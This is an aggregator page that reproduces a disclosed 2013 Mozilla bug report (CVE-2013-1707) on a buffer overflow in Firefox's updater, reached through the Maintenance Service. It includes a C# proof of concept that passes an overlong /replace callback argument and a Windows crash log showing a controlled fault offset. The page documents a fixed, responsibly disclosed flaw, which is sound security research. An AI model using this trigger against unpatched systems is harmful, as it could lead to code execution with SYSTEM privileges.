Skip to content
Memory corruption Disclosed report CVE-2013-1707

Buffer overflow in Updater

Seb Patane Follow

Originally disclosed on Mozilla

  • Fixed in 5 days
  • Paid in 5 days
  • Disclosed after 5 days
Text
Created attachment 768974
Proof of concept source + binary

Using specially crafted arguments, an attacker can cause a buffer overflow in the updater executable (http://hg.mozilla.org/mozilla-central/file/942686767e5e/toolkit/mozapps/update/updater/updater.cpp#l2940). The maintenance service passes all arguments provided to it along to the updater, so it can be used to trigger the overflow which can potentially lead to arbitrary code execution with SYSTEM privileges.

The vulnerability occurs when the /replace flag is given along with a long callback path. C# proof-of-concept:

using System;
using System.ServiceProcess;

namespace ReplaceBufferOverflow
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                ServiceController c = new ServiceController("MozillaMaintenance");
                c.Start(new string[] {  "aaa",
                                    "software-update",
                                    @"c:\program files (x86)\Mozilla Firefox\updater.exe",
                                    @"c:\program files (x86)\Mozilla Firefox",
                                    @"c:\Program Files (x86)\Mozilla Firefox\uninstall",
                                    @"/replace",
                                    @"CCCCC",
                                    (new String('A',999))
                                     });
            }
            catch (Exception e) {
                Console.WriteLine(e);
            }
        }
    }
}


I can replicate on Windows 7 x64 with updater.exe version 22.0.0.4917 and maintenanceservice.exe version 23.0.0.4921. The result is an entry in the Windows application event log that looks similar to this:

Event ID: 1000
Faulting application name: updater.exe, version: 22.0.0.4917, time stamp: 0x51c055c9
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000005
Fault offset: 0x00410041
Faulting process id: 0x408
Faulting application start time: 0x01ce741487153860
Faulting application path: C:\Program Files (x86)\Mozilla Maintenance Service\update\updater.exe
Faulting module path: unknown
...

I have attached a compiled version of the proof-of-concept code, let me know if you need any further details.

The original report as published on Mozilla's Bugzilla, by Seb Patane. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity memory corruption bug in Application Update. Mozilla made it public on 3 July 2013 as CVE-2013-1707.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Seb Patane

View all

10 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.